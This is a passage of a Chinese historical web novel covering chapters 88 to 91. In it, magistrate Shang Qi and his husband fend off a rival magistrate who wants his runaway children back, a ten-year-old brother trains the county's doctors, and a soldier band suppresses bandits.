“今日一早夫人没见公子小姐去问安,差了人去查看,才发现人不见了,连身边伺候的人也不见踪影。”长随没说人究竟去了哪儿,但府里的人个个心知肚明,毕竟前不久府里才上演过一回。 “马上遣人去清平县的路上追,人定然是昨日离开的,现下还没到清平县。”邹县令再稳不住,尚柒实在太过分了,哄骗走家里一个孩子还不够,还要赶尽杀绝。 “我这就去赶马车。”长随听到吩咐就要去后院马厩赶车去撵公子小姐。 “等等。”邹县令缓了口气,他知道光派两个人去追一定追不回人,“不必派别人去了,我亲自去一趟,问问尚大人究竟是打的什么主意。” “是,老爷。” 第88章 上午, 外头太阳正好,小院树下的石桌前,尚柒和别此云正无事下棋玩。 “姑爷, 宋管事传了话, 说是邹县令到衙门请见。”琴砚轻步过来禀报。 “他家孩子前脚到, 他后脚就跟来了, 看来的确是个好父亲。”别此云评价。 “他名下孩子有七个,虽来了四个到咱们这儿,但一个儿郎都没过来,我还道要再挖一两个墙角才能等来人。”尚柒看邹县令对几个孩子的亲事安排,还当不看重姑娘哥儿。 “早来说明我们的软肋抓对了, 你是打算现在见他, 还是晾他一晾?” “他是来质问我, 又非有求于我,摆谱容易适得其反, 毕竟他家三个孩子还没进衙门办差。”万一被逮回去,他不是少了三个劳力。 “早去早回。”别此云毫不客气的吃掉尚柒的棋子, 下棋最忌讳掉以轻心, 这不就给了别此云赢棋的机会。 “此云不与我同去?邹县令忌惮我, 大半功劳都在此云你身上, 不去如何给我撑腰?”尚柒并不在意输棋, 本来也没多会下,不过是闲得无聊, 跟人闹着玩。 等哪日得闲他做一副扑克来,棋子就可以退休了。 别此云撑着下巴,有些意兴阑珊:“混合双打是不是过分了些?” “不,明明是狐假虎威。” ———————— 县衙内, 邹县令带着长随和几个下人匆匆赶到清平县,要说上回邹县令到清平县,也要追溯到几年前了。 当时的县令还是上一任那个乌龟王八,请他过来也没好事,无怪乎都是些同流合污的勾当,当时清平县和黄谷县瞧着大差不差,但今个儿一过来,先不说别的,单是清平县外的官道,就叫人大开眼界。 地方上的官道多是平坦些的土路,平日人丁来往不多,而今个儿他过来的时候,亲眼瞧着,官道换成了三合土路,马车慢走在上面都不颠簸了。 三合土路修起来费时费力,那是长安的朱雀大街才舍得下如此功夫,结果这位尚县令直接在县外弄上了三合土路,也不知是真的大手笔利国利民,还是有钱没地花弄个政绩。 不过想想人背靠别家,娶的是别家的嫡系公子,急着做成政绩调回长安也正常,西南这犄角旮旯就不是容大佛的地方。 入了县城,更不得了,一路过来,城内人来人往走动比黄谷县多多了。 甚至他还路过一间私塾,远远的听见私塾里稚童的读书声,叫邹县令捋胡子的手都停了,还当清平县的私塾不过是噱头,没成想真叫县里的孩子有书可念。 这可比三合土路还要大手笔。 等人顺利到了衙门,衙门口值守的捕快,瞧着人高马大,但长相周正不像是大奸大恶之辈。 听闻清平县衙大换血,原衙门做事的一个没留,如今还在衙门的都是后招的,也不知尚县令究竟是按什么标准招的。 也是在人家地盘上,邹县令不好随意走动,不然他头一个就要去衙门找找他那不孝哥儿的影子。 “邹大人请喝茶,我家大人今日休沐,邹大人来的不巧,须得等上片刻功夫。”宋月隐出面待客。 要说邹县令在衙门见过的娘子郎君,都是内眷,今日得见一位出面主事的当真新鲜,尤其是说话的娘子半点不见磕绊,见着他这个官全然不见害怕。 “是我来的唐突,扰了尚大人的清净。”邹县令说话的时候身边长随默契的送上手里的赔罪礼。 钱么邹县令手里不多,但好歹也在县令的位置上做了这么多年,历年来讨好他的富户送过不少好东西,虽没法和长安贵人用的比,但也算他一片心意。 “邹大人客气,只是我家大人吩咐过,礼不能随意收,还请邹大人见谅。”宋月隐不难猜出邹县令过来的缘故,收了这礼可就不好在叫人家孩子到衙门当牛做马了。 邹县令不语,挥手暂且叫长随退下,他一路舟车劳顿为的是叫尚大人手下留情,放过他家孩子,礼自然备了不少,但人不收就麻烦了。 而在衙门做事的邹清得知他亲爹过来,慢吞吞的躲在办公处不肯冒头,他自然清楚眼下他是清平县衙的人,只要县令不放人他爹必弄不走他。 但想着因为他逃家的事,叫家里其他兄弟姐妹也起了心思逃到清平县,便不由得心虚,真要是遇上他爹必少不得一顿好果子吃。 “好姐姐,你且去前面送茶的时候瞧瞧情况,回来说与我听听,明日我请姐姐去外头吃饮子。”邹清拉了要过去送茶的侍人在一旁说话。 “大人们谈事我即便听见了,也不敢妄言,你这饮子我可没福气享。”侍人平日给衙门做事的小吏端茶送水,大多都混熟了,加上尚大人待人和善,下面的人也常说说玩笑话。 “我自不叫姐姐偷听大人说什么,只请姐姐帮我看看邹大人是否生气,若是气的狠了还请姐姐一定要同我说一声。”他立马叫小桑去县里客舍通知弟弟妹妹,避避风头。 侍人想了想,应了下来,等茶水送到前厅,尚大人和别公子也到了。 “邹大人,初来清平县就有耳闻大人的名声,一直说得空拜访,没成想竟让邹大人抢先过来了。”尚柒一进前厅,同人寒暄。 俗话说,伸手不打笑脸人,尚柒态度温和叫忍了一肚子气的邹县令发不出火不说,还得好言好语同人打打官腔。 没辙,谁叫尚柒带了他夫郞一块过来,哪怕早知道尚柒的夫郞出身显赫,但真见了人才晓得何为贵气。 邹县令自认为也在西南见识了不少富贵之人,但没一个有别公子气势的,可见长安出的贵人就是和地方上不一样。 “不知邹大人大驾光临,是有什么要事?”尚柒寒暄完,转头开门见山的询问邹县令的来意。 叫准备了不少婉转说辞的邹县令一时语噎,实在是摸不准这位尚大人的路数。 “叫尚大人笑话了,我这次过来为的是几个不成器的孩子,前些时候我家哥儿听闻清平县招人手,竟瞒着家里胆大包天的走了。” “邹大人说的是邹小哥儿?常言说虎父无犬子,邹大人家的哥儿也是应了这句话,到了衙门这段时日,办的差事都很漂亮,若非是哥儿身份,即便拿个县丞、县尉的官职也是屈就了。” “尚大人哪里话,我还要说尚大人且不该看在我的面子上,叫我家哥儿进衙门,他常年在内宅,也就跟着我家夫人学着打了几年算盘,如何能做正事,我这次来,正是打算把人叫回去,莫叫人在尚大人这里胡闹。” 邹县令亲自过来,必不只是打算把逃家的三个抓回去,甚至进了衙门的也打算弄回去,不管尚柒打的什么主意,他是不能叫人捏了软处。 “邹大人你这话就不对了,邹小哥儿进衙门是过了面试的,如今在衙门当差这段日子,谁不夸一句本事大,做事利落,我这衙门正缺人手,哪能轻易放人回去。 说来昨日邹大人家的三个孩子到衙门后,也说要来衙门做事,我手下的宋管事,邹大人方才也见过,她说邹大人教子有方,养出来的姑娘哥儿本事一个比一个大,正好填了衙门的空缺。” 邹县令被挡了话头,沉默了片刻:“尚大人,咱们明人不说暗话,衙门历来做事都是儿郎,尚大人招姑娘哥儿入衙门已然坏了规矩,我虽是同僚,却也不好评价,但我家哥儿是万不能再尚大人衙门做事的,毕竟衙门里还有儿郎,若叫外人知道我家哥儿与一般儿郎同处一室,日后如何婚配?” “邹大人这话想是说晚了。”别此云突然开口,“邹小哥儿到衙门做事已经有些日子了,邹大人先前不担心,这会却担心是什么道理?” “想是先前只邹小哥儿一人过来,邹大人不想大张旗鼓,但昨个儿邹大人的另外三个孩子又过来了,再忍着怕是阖家都要替我做事。” 两人一唱一和,叫邹县令白了脸色,但又不敢发作。 “尚大人既然知道我的苦衷,又何必咄咄逼人,还请尚大人放了我家几个孩子,叫他们跟我回去。” “非是我不放人,而是邹大人几个孩子都自愿到衙门做事,若我听了邹大人的话就把人赶走,岂不乱了套。” “哪有子女不该听父母的话,我朝历来讲究孝道,这样不孝之人尚大人任用也不怕外人嚼舌根。” 别此云微微蹙眉,说不过就开始以孝压人,且嚼舌根的威胁从一个当官的嘴里说出来,也增添几分笑意。 “只要行得端坐得直,我自然不怕外人嚼舌根,邹大人倒是要想想,将有才能的孩子从衙门赶回内宅做事,会不会叫孩子记恨上。” 人尚柒是不会放的,不说这些人的身份,单是本事就足够尚柒留用。 “尚大人的意思是无论如何都不会放人了?” “邹大人错了,我又不是人贩子,只要是自愿入衙门做事的,我都不会轻易辞退。” “那麻烦尚大人告诉邹清,若今日不跟我回去,我就当没他这个孩子。” 别此云挑眉,这样的威胁说大不大,说小不小,凭借他对邹清这段时日的认识,只怕是毫无威胁。 “这话是只对邹小哥儿有用,还是对邹大人其他三个孩子也有用?”别此云漫不经意的询问,就见邹县令面色涨红,显然是气上心头。 “此云,想来邹大人只是一时口不择言,天下哪有轻易不管孩子的父母,说不得是邹大人怕几个孩子在清平县吃亏。”尚柒和此云打着配合,你言我语之间把邹县令差点气了个好歹。 最后邹县令闭眼片刻,投降:“尚大人,且说说你究竟做和打算,只要不危机性命,我都配合。” 第89章 “邹大人何出此言, 你我同僚,你管你的黄谷县,我管我管的清平县, 便是我真有事相求, 也该亲自登门拜访邹大人才是, 怎么会叫邹大人走一趟。” 真要叫邹县令把黄谷县全全交给他们负责, 只怕人也不乐意。 “尚大人当真没有所求?”邹县令是不信的,但他都到清平县了,有所求尚柒为何不一口气说清楚,眼下他就是死在清平县,以别家的背景也有的是手段摆平, 他不信这二人还忌惮他什么。 “自然, 我清楚邹大人是见家中孩子都到清平县为我做事, 怕出事,但邹大人有所不知, 我接手县里几个月,因为处理县里的陈年旧案, 收押了不少人。 眼瞧着衙门都要周转不开, 不得不广发招人的告示, 先前邹小哥儿过来, 实在是解了我的燃眉之急, 我还当邹小哥儿是得了邹大人的准许,想要到清平县一展抱负呢。” 邹县令安静的捋胡须, 尚柒的这通鬼话,他一个字都不信,但想要知道尚柒打什么主意,总不能真动手撬人家的嘴。 “我知道邹大人担心孩子, 但清平县眼下太平无事,连街上的地痞无赖都被抓空了,邹大人且放心。” 眼下清平县,比长安的治安都好,黄谷县隔三差五还出扒手或是收保护费的地痞,清平县不光一个没有,连几个不起眼的赌坊妓院都被尚柒一口气收拾了。 县里开这些三教九流场所的,也多是和县里富户有千丝万缕的干系,一个个没什么大背景,但做这勾当的手里一定干净不了,查封都不消费功夫收集证据,只一股脑冲进去,一抓一个准。 “尚大人这样说,我还有什么不放心的,只是我那不孝子走了些时日,至今还没见过面,不知尚大人可否安排我父子二人单独说说话?” “邹大人是当孩子进了我这衙门就进了虎穴狼窝不成,如何不能叫你们见面?到了逢年过节休沐,邹小哥儿也是要回家,左右黄谷县离清平县不远。” 尚柒不怕人一去不回,只要邹清还想在衙门做事,他就有的是办法叫人回来。 “如此,还请尚大人给我父子二人一个见面说话的机会。” “月隐,带邹县令去见见邹小哥儿。”尚柒朝门外等着的宋月隐发话。 “邹大人,且跟我来,时下邹小哥儿正在衙门办公处办差。” 等人离开,尚柒悠闲的坐到别此云身边。 “你说邹清会被他父亲劝回去吗?”别此云知道邹县令是发现在他们这里走不通路,改打亲情牌了。 “只要邹县令一日不能给邹清做主的机会,邹清一日不会跟邹县令回去。”邹清未必要在县衙做事,毕竟衙门小吏事多钱少,若非是尚柒私下补贴县衙做事的小吏工钱,只怕是吃穿都成问题。 但邹县令是封建社会典型的男权主义,根本想不到邹清为何逃家,说不得还当邹清是不喜欢定亲的人选才逃跑。 父子谈话,没准邹县令还要说邹清当真不满意这个结亲对象可以换一个,半点不会考虑叫自家哥儿进黄谷县衙门做事。 所以不必尚柒出手,光是邹清就足够叫邹县令铩羽而归。 “眼下不好直接透露咱们的目的,但早晚也是要邹县令知道咱们想接手黄谷县。” “等什么时候黄谷县到清平县的官道修缮完毕,咱们再说接手黄谷县的事。” 旁的不说,单是这段时日私塾的事就在两县闹的沸沸扬扬,更不提清平县各类小工坊在修建,县里手脚健全的人都能去谋个差事。 眼瞧着清平县越发展越好,黄谷县却停步不前,早晚黄谷县会成为空城,邹县令只要不想看到自己治下再无一人,必要选择性妥协一些东西。 而去和自家哥儿谈话的邹县令,果不其然没能寻回哥儿不说,还吵了好大一架。 要说这回邹县令过来,身边还是带了几个人的,就是考虑若是孩子不听话可以强行将人绑回黄谷县,哪想清平县衙门不放人不说,只要邹清在衙门不出门,他根本没有绑人回去的机会。 至于县里其他三个姑娘哥儿,邹县令压根没寻到人下落,清平县也就这么大一点,县里的客舍不过一家。 客舍寻不到,邹县令再要找,只能遣人翻遍清平县,但他是黄谷县的县令,没本事指挥清平县的人,于是几番受挫后,灰溜溜的带人离开了清平县。 这头他前脚一走,那头三个被邹清寻了地方藏起来的弟弟妹妹就顺利进衙门做事了。 黄谷县的百姓是不知道他们县令去清平县吃了个瘪,一个个都翘首楚盼清平县的贵人也带带黄谷县上进。 同先前私塾消息一样,清平县的几个小工坊开工招人的消息,也传到黄谷县这头,比起送孩子读书,大部分百姓还是对赚钱更看重,一大家子派遣几个人去清平县做事好似成了什么荣耀。 自然了能过了清平县的选拔留下,基本上一家人也不愁吃喝了。 “西南虽然多山,但水系也算发达,军营这些时日的荤菜采购都是通过水系在更远一些的县城采买,眼下和黄谷县说好的鸡鸭鹅肉,已经收上来一批,但五千人也吃不了多久。” “县里的养殖场已经渐渐成形了,想是再过不久,肉类供应会更稳定一些。”养殖不是小事,尚柒在礼县有过安排人养殖的经验,因为礼县每日消耗的肉类也很高。 寻常百姓不说顿顿沾荤,但隔三差五去肉铺买二两肉回来打牙祭是常见的,又因为皂类作坊,养殖场更多的是养猪,鸡鸭鹅虽然也养,但主要是还是想着要它们提供鸡蛋。 清平县地形不比礼县,大面积养殖是不成的,且鸡鸭鹅养的多,一个不甚得了鸡瘟,就得死一大片,所以在养殖方面,尚柒一开始没打算搞太大。 “这段时日,县里的肉类需求也增加了不少。”几个月过去,清平县百姓或多或少也都挣了点钱,不是说百姓一有钱就花销,但干了几个月活,总有娘子郎君心疼当家和孩子,割些肉或买些骨头回去给人补补。 今日你家买,明日我家买,寻常时候一头猪都得买上两三日,时下一日功夫就卖了个干净。 做屠户生意的人家这些天光是到乡下定猪,就跑的头晕脑胀,也不知乡下百姓的猪还够不够卖,实在不成还得去隔壁县定。 “除开农户养殖,猎户进山打猎的次数也在提升,可见肉类需求的确在上涨,我会协调情况。”前不久衙门还接到村里人报案,说是村里有猎户进山久久未归,求衙门上山寻寻人。 照以前,村里有人不见了,都是村里自己组织人手去山上找,但西南的山一般一座连着一座,附近的山头找一遍,没找到人基本就没希望找到了,尸体说不定都被山里的猛兽吃了。 但打尚柒过来,清平县样样都在改变,从前的规矩早就不适用了,当然最开始村民肯定没想到报官找人。 是在县里指派到各村指导种地的人提了一嘴,村长才半信半疑的来了衙门,而衙门动作也快,上午报的案下午就有一大批人进山搜寻。 不消得几个时辰,就赶在天黑前在山里的夹缝找到了猎户,人还没死,但瞧着受了重伤,身上几处骨折。 县里如今也有尚家开的医馆,寻人的汉子直接将人抬到尚家医馆。 “清平县的大夫一个个连医书都没读过几本,也不知怎么治病救人的。”尚乌桕几乎要把清平县大夫草菅人命的话说出口了。 “时下大夫都是家传行当,村里的赤脚大夫更是连医书都没看过,得人指教认识几种药材就给人看病,但好大夫难寻,寻常百姓三灾六病只能将就。”长安城的庸医都不少,难道还指望西南这穷乡僻壤之地有什么厉害大夫吗? “那咱们来了,就不能叫他们继续这样行医,阿兄为何还不如在礼县一样,将大夫培训也提上日程,至少叫他们多学学药理,也不至于说看个头疼脑热都费劲。” 尚乌桕眼下还没得到单独行医的资格,毕竟年岁还浅,便是有尚柒教导,平日也不缺实践,但依旧年少,还不到出师的时候。 可他瞧着都要比清平县的大夫好上数倍,再不叫清平县的大夫学学医术,终于挣了钱能来瞧病的百姓难有活路。 “这事我在考虑,只是眼下礼县过来的大夫在医馆,想要抽调出人手给清平县的大夫上课,就得再从礼县调。”需要时间不说,礼县的大夫也不多。 应该说出师的大夫不多,大夫一职救死扶伤,单是要背诵的药典垒起来就有人高,尚柒在礼县高速发展再快,也弄不出大批大夫。 学徒倒是不少,但距离出师还远着呢,只能当个助手。 “阿兄,谁说没有大夫上课了。”尚乌桕努力的蹦跶起来,他学医时间都要赶上认字的时间,记事起就跟着阿兄背汤头歌,各类药典也都熟稔在胸,比得一般大夫还要博闻广识。 虽然才十岁,但自认为一般病症都能胜任,教几个医书都没背几本的大夫,绝对不在话下。 “你?”尚柒疑惑的看着乌桕,不是他小看人,乌桕的医术是他亲自教的,可以说乌桕的确在为医一道有天分,但有天分也不代表人是个好老师。 “左右阿兄现在无人可用,不若叫我试试,《论语》里那句话怎么说的来着——就是时时温习那句。” “温故而知新,可以为师矣。”尚柒替人接上。 “对对对,就是这句,阿兄让我试试吧,看阿姊帮阿兄做事,我也想帮阿兄。” 尚柒仔细想了想,乌桕平日虽跳脱,但在医术上一向谨慎:“好吧,只是试试,若是不成,你还是乖乖在医馆跟着里面的大夫攒实践经验。” “没问题,阿兄。”尚乌桕兴高采烈拿下人生第一份工作,虽还没出师,但也算踏上广收弟子的第一步了。 第90章 大历医疗方面还不成体系, 但有名的大夫还是不少,更不说往前数几朝,也有出名的神医留下药典, 供天下大夫共习。 只是连儒家经典都还是世家私藏的时代, 药典更是不少医学世家的传家宝, 轻易不给外人看, 也就造成了寻常大夫只能靠拜师学习。 尚大人组织县里的大夫以及村里的赤脚大夫进行培训,听闻是要教授他们天下闻名的药典,头一堂课,没一个大夫缺席的。 只是谁也没想到教课竟然是个十岁的小娃娃,看尚乌桕进门不少大夫已经有胡闹之感, 他们这些人能够看病的多已经花白了胡须, 年轻些的多还只是认识药材, 在医馆当个药童。 不过谁也没这时候冒头,虽不大满意尚大人戏弄他们, 但尚大人在清平县的威名已经立起来,至少在县里没谁敢抱怨尚大人一句不是。 本着来都来了的想法, 诸位大夫想着给尚大人一个面子捧捧场就回医馆做事, 哪想人小哥儿挥手先给每人发了一本药典。 然后不客气的在上头指挥大夫诵读, 县里的大夫也就罢了, 当大夫要是大字不识一个, 药方都没法开。 村里的赤脚大夫就不成了,大部分赤脚大夫治病都是口口相传的经验, 所以也都不认字,这会子书送到手里,光看县里大夫激动的样子就晓得是好书,可他们不识字, 又有一种眼看金山在前,却进不去的遗憾。 尚乌桕自然注意到几个赤脚大夫抓耳挠腮,吩咐了人把不识字的先划分出来,按说开蒙该用更简单的书籍,例如现在私塾正在用的几本,但眼下人都到了他这儿来,再送去私塾认字也是麻烦,干脆用药典开蒙。 左右药典上不少字都生僻,就算是学会了常用字看药典也是抓瞎,不如一开始就学难的。 头一天上课,上了年纪的大夫精力不济,一般撑不了这么久,奈何尚大人大方,给了他们一个正统学习医术的机会,没一个愿意错过。 如此可怜尚乌桕,一天下来讲的口干舌燥。 “年纪大了,记性不好,药典要他们全背下来还是有些为难了。”尚乌桕回家后,免不得吐槽一句。 “年轻的药童们呢?”别此云知道尚柒是专程派人通知了各个医馆,前来学习医术不光自己来,医馆的药童和学徒也都得去。 “年轻些的记性是要好一点,但除开认识一些常用药材,对医理一窍不通。 我跟阿兄身边学习才几年,若不是年纪都可以出师看病了,这些过来的药童有的都在医馆做了小十年,都还不会勘脉。” “医术都是看家本事,一般医馆收徒顶多三五人,这还得是自己孩子没天赋的情况下才会对外收徒。 清平县人口数量有限,医馆也只能养活几家,若是手里的弟子都很快出师,当师傅的不是要饿死了?” 不说医术,就是点豆腐这样的小手艺都是代代相传,还只肯教授给儿郎,可见这个时代有一门手艺的重要性。 “阿兄说,年轻的时候学东西最快,他们这样做,都耽误最好学医术的时候,难怪大部分人白胡子一把,看个风寒都费劲。”尚乌桕很不喜欢外头学医的规矩,更不说今日过来学医全是男子。 别此云轻笑,看来尚柒把两个孩子在礼县保护的很好,至少很多大历的规矩二人全然不知,方才能养出这样不同于此世的个性。 “不成,我还得去找找阿兄,叫他再送一些愿意学医的姑娘哥儿过来,左右我现在教这些人,也没比从头开始好到哪儿去,甚至几个赤脚大夫连字都不认识,我还得开蒙,不如多教几个。”尚乌桕雄赳赳气昂昂的说道。 “你可以先在学堂问问这些大夫家里有没有愿意学医的姑娘哥儿,到底是在医家长大,没学会医术,也认识几味药材,比寻常人要好一些。” “别哥哥说的对。”尚乌桕肯定的点头,想着明日的确要过问过问,顺道还要备课。 尚柒下值的时候正好瞧见人从屋里跑出去,连开口叫人的机会都没有,就见尚乌桕没影了。 “他这是怎么了?”今日不是第一次给大夫上课吗,难不成被为难了? “教学兴致正高,想着要多收几个学生。”别此云打趣。 “看来今日授课还算顺利。”他忙着衙门的事,都没来得及过去看看乌桕课上的怎么样。 “自然,南枝乌桕年纪虽小,但本事都大,乌桕这里先不说,单是南枝,你把尚家的产业全全交给她打理,如今人在应州,前几日送来的账本看,可没比你掌管的时候少。” “我现在重心不在产业上,南枝能够接手是最好不过的,她打小就喜欢看我处理账本,不过几岁就学会了打算盘,天生就会做生意的。” 尚柒说话的语气充满了骄傲。 “看来咱们运气一如既往的好。”别此云说着,又道,“过几日我想去应州一趟。” “处理生意上的事?”此云的产业不少,清平县自然装不下,更不说他们走的时候,苏怡然还送了不少田契庄子,都在应州城。 “是,也是去看看南枝,到底人年岁还小,怕被人欺负。” “我近来不得空,没法陪你一起去,叫全武他们陪着,应州虽说土匪在被围剿,但平日也不光只有土匪作祟。” 人心险恶,就是留宿的农家都有可能因为钱财被谋财害命,更不提一路途经不少荒山野岭,若没有部曲陪着,他是不放心此云一个人走的。 “自中途县城所见,我已晓得轻重,会多带些人手。”说来在大历他还没一个人出这样的远门。 “清平县到应州差不多要三五日功夫,路上虽比咱们去山里好走,但也不必疾行,若是在应州遇上好玩的,多玩几日记得给我带点纪念品。”尚柒如何不知道此云心底压抑着兴奋。 要说应州定然是处处比不得长安,此云在长安长大定也看不上应州这处下州,但出门见识总是叫人开心的。 “没问题,西南还有这样多州,这次我一个人去,下次你得陪我一块去。” “好,下回咱们回礼县看看如何,我去长安也见识了你长大的地方,你还没去礼县见见我生活的地方。”礼县自然是要远一些,但等清平县发展稳定后,他略微离开一段时日也不打紧。 至于当官轻易不该离开县城,只要不被发现,难道广运帝还能开天眼惩罚他不成? “你不说我也是打算要去的,我想看看,你究竟将一个边陲县城发展到什么地步了。”他也算见识了尚柒手下的人,都是能干之人,也不知礼县什么好风水,能叫尚柒发现这样多人才。 “不要抱有太大期待,或许比清平县好一些,但真论起来比不上长安。” “我等着看。” …… 应州。 和尚乌桕呆在阿兄别哥哥身边不一样,尚南枝已经到了走南闯北的时候,回去礼县后,就开始从各个管事那里接过尚家的担子。 要说在长安历练几个月,尚南枝还是实打实的学会了不少东西,不说阿兄交给她的,就是一起做事的几个掌柜也给她传授了不少生意经。 替谢琅做事的掌柜个个都有大本事,手里过的生意也都是大宗,小打小闹的人完全看不上,这也帮尚南枝提升了不少眼界,不会眼皮子浅的顾此失彼。 接过生意后,尚南枝又在礼县应州两头跑,最要紧的自然是把种植药材的产业也带到应州。 地方上田地交易不及长安紧俏,价格也没那么贵,按尚家在应州的名声,不少豪强也愿意给面子出售一些田地。 就说应州白家,因为也是医学世家,和尚家生意往来比其他豪强密切的多,知道尚家要在应州添置田地种植药材,私下也出了不少力。 只是她到底年纪轻,又是女子,在应州行事难免碰了几个壁,不过她早知道应州的生意人不如礼县放得开,心有准备也不当什么。 “二小姐,清平县传了消息过来。”跟在尚南枝身边的是德顺的大妹,如今尚南枝也独当一面了,阿兄说也该多培养培养自己的人手。 德顺哥的大妹就是尚南枝劫阿兄的胡,本来人是听了德顺哥的话准备去清平县做事,但尚南枝见过面,就将人留在自己身边任用。 “别哥哥要过来应州。”尚南枝收到消息,立马要回住处给别哥哥收拾房间。 尚家既然搬迁了生意在应州,住处房子自然是早打理好了的,眼下尚南枝住的宅院就是靠近城中心的一处大院,不比在长安的那处宅子小。 只是应州城里的纨绔也不少,尚南枝相貌算不上多好,但也称的一句小家碧玉,且年岁还小,出门谈生意都遇上过恶客,幸亏身边人手带的不少,没吃亏。 别哥哥相貌出众,到了应州必须要好生护着,这回阿兄没跟来,她必须要在应州替阿兄保护好别哥哥。《 》 90-100 第91章 应州虽是下州, 但应州城好歹也是州府,比起地方县城自然要繁华不少,别此云的马车在路上慢行五日, 抵达应州城的时候是上午。 街上正是热闹的时候, 不少娘子郎君出门买菜走动, 比地方县城多了不少人烟。 赶车的车夫是别此云手下的部曲, 知道应州城有姑爷的宅子,也没去客栈留宿,直奔姑爷的宅邸。 “别哥哥。”尚南枝算着日子在家里等着,瞧人下了马车立马迎过去,他们也好久没见面了。 “南枝, 瞧着瘦了些。”别此云看着小姑娘亲昵的过来抱着他的手臂, 笑着揉了揉人的脑袋。 “近来在长个子, 所以瞧着瘦了,但每日吃的比从前还多, 半点没亏待自己。”尚南枝这话做不得假,也不是说她自己到了应州开始能吃能喝, 而是谈生意总免不得去酒楼, 不管谁付钱, 点了一桌子好菜好饭总不该浪费, 可不是每回都吃的肚皮溜圆。 “那就好, 我和你阿兄在清平县少有能到应州的时候,你应州礼县两头跑若不注意身体, 迟早吃不消。”有时候别此云认为南枝乌桕的年纪这样小,不该担负这么重的责任。 奈何两个小的不乐意,真把人囚在身边,也不见得是好事。 “别哥哥别光说我, 我瞧你也比在长安瘦了,原本坐江船到清平县,一路你就清减了不少,怎么在礼县待了几个月还没养回来,是胡娘子的手艺不对胃口吗?” 在礼县,还没有胡娘子养不胖的人。 “胡娘子的手艺很好,可能因为初到西南水土不服,加上事又多,所以没什么胃口。”时下水土不服很严重,若非是有尚柒照料,他多半会病倒在床。 尚南枝点点头,没劝别哥哥多休息,自打她接手尚家的生意后,再清楚不过有些事还真是时间不等人,左右有阿兄看着,必不会叫别哥哥太劳累。 别此云住的院子早几日就打扫了好了,一路舟车劳顿,尚南枝想着先叫人歇息一日,正事明日再做也来得及。 “和应州地方豪强生意做的怎么样?”别此云这会精神还好,想着干脆吃了午食再休息,不由得和南枝聊起应州城内的情况。 “还成,别哥哥也知道,尚家的药材在西南卖的很好,听闻我是阿兄的妹妹,就算再看不上我的豪强也要给几分面子。”至于一点面子不给,还嘲笑她的,就不告诉别哥哥了,免得人生气。 “你不说我也知道,生意上难免碰钉子,哪几家得罪过你,你告诉我,过几日我在应州城的消息必会传开,想来有的是人要拜访我,到时候给你出气。” 别家的门第可以说整个西南都没有比他高的,能稳稳压过别家的也就六个大世家和皇家,别此云又是别家的嫡系,只要稍微透露点风声,就有的是人愿意过来巴结。 “别哥哥放心,阿兄从来不叫我们吃亏,忍气吞声只是暂时的,总有一日我会自己报复回去。” “小小年纪,志气不小。”南枝这样说,别此云自然没有继续刨根问底,不过人还是要私下调查的,不说给人教训,总不能和这些得罪过他们家小妹妹的人继续合作。 …… “东家。” “什么?”尚柒揉了揉耳朵,方才宋月隐那一嗓子吼的有些大。 “我唤了你几次,都不见你应答,可是想别公子了?”宋月隐言辞里饱含笑意,没想到东家也有今天。 “嗯,我夫郞独自出行去了应州,我不该想吗?”尚柒落落大方的反问。 “该是该,但东家也别耽误了正事,蔺肃送的公文都在你的案头放了一刻钟了,你还没翻开看呢。” 尚柒咳嗽一声,自知理亏,避开宋月隐不怀好意的眼神,翻开蔺肃送来的公文,这时候蔺肃送文件,多半都是和派兵剿匪有关。 前些时候樊泊和几个小队长点兵出了清平县和黄谷县的地界,又以两县为中心,开始走小道到各个山林剿匪,这次出兵虽然不是持久战,但也不是一时半刻能鸣金收兵的。 初看信,尚柒脸上忍不住挂笑。 “蔺肃这是说了什么叫东家你这样高兴?” “樊泊传了信回来,打了一个大山寨,约莫一百来人。”信上还说,樊泊只诛了首恶,其余山匪都完整无缺的送了回来。 一百来人说起来少,但铁矿开采一直缺人手,一下来这么多劳力,铁器生产的压力都减轻了不少。 “一百人来人的山寨该是在西南有些名声,不知是哪一家?”宋月隐盘算西南境内的山匪,盘踞一方的没有,多还是占了山头小打小闹的土匪窝,人数超过一百人的也就那么几家,但都不在应州境内。 樊将军这才几日功夫,已经出了应州境内,这样疾行后勤补给跟得上吗? “没什么名声,就是应州境内一家普通的山匪窝,短时间发展过百人,应该是此地出事了。”大量青壮愿意上山当土匪说明山下的日子过不下去了。 “可近来不曾听闻有什么天灾,这时节也不是秋收,便是今年绝产去岁秋收农户留的粮食还能吃到八九月,好端端的为何要做土匪。” “这就得我们的人亲自走一趟看看,究竟是什么样的人祸才会在这个节骨眼上逼得百姓活不下去要当土匪。”尚柒合上信件,先前的好心情一扫而光,还真是多事之秋。 —————————— 山林。 一群身着轻甲的汉子正歇息准备吃午饭,除开袋子里的干粮,队伍里负责伙食的军汉还就近寻了野菜和活水准备烧一锅热汤。 这处山头不靠近村子,但因为也有人活动,没什么大型野兽,野菜什么的也好寻,甚至一些西南独有的香料都能找到。 不过没香料也不打紧,他们随身带着盐,无论是煮汤还是烤肉,只要有盐,都能有滋有味。 “也不晓得东家用什么法子制的盐,都和我老家的井盐一样好。”有汉子是西南本地人,因为老家是产井盐的,平日吃的盐也比外头要好。 “许也是官衙门卖的井盐?”左右东家现在有个官职,以权谋私弄些井盐给他们,也不是不可能。 “井盐都是单独贩卖的,若说别家还有可能轻松给咱们弄来这样多好盐,东家的官职是不成的。” 一个县官能随随便便弄来这么多上好的盐供给给五千兵马,那天下不早乱了套了。 “难不成东家也弄了口盐井?” “说不定是东家有了别的制盐法子,盐井哪里是那么好弄的,皇帝想要收税,早把盐把控在自己手里,就算有盐井早八百年前收归国有了。” “这些不该是咱们关心的,吃过午食,休息两刻钟,咱们继续赶路。”樊泊阻止了手下继续聊盐的事。 “樊头儿,别板着张脸,兄弟们才立了功,就是随意说说,没其他心思。”在场的汉子也不都是缺心眼,晓得盐的事一向要紧,他们本不该这样闲谈,万一叫小心眼的听了去,说他们有私下制盐的心思,不就倒了霉了。 “现在在外面,说些越矩的话没人提醒,等回了军营再胡乱说,挨了军棍我可不保你们。”军营自然也有军营的规矩,别看东家仁善,但在制定军规一块比大历的军营都严苛。 有樊泊发话,跟随的汉子们也都不再胡乱开口,吃过午食各自寻了一颗树靠着休息,行军在外不比在营地安稳。 樊泊自个儿也闭目养神,比起手下的人,他自是端坐着,兵器放在一旁,真要是有什么风吹草动也能第一时间防备。 “樊头儿。”值守的兵丁突然快步过来,“山下来了人。” “什么人,有多少?”樊泊猛地睁开眼,拿起长枪过问。 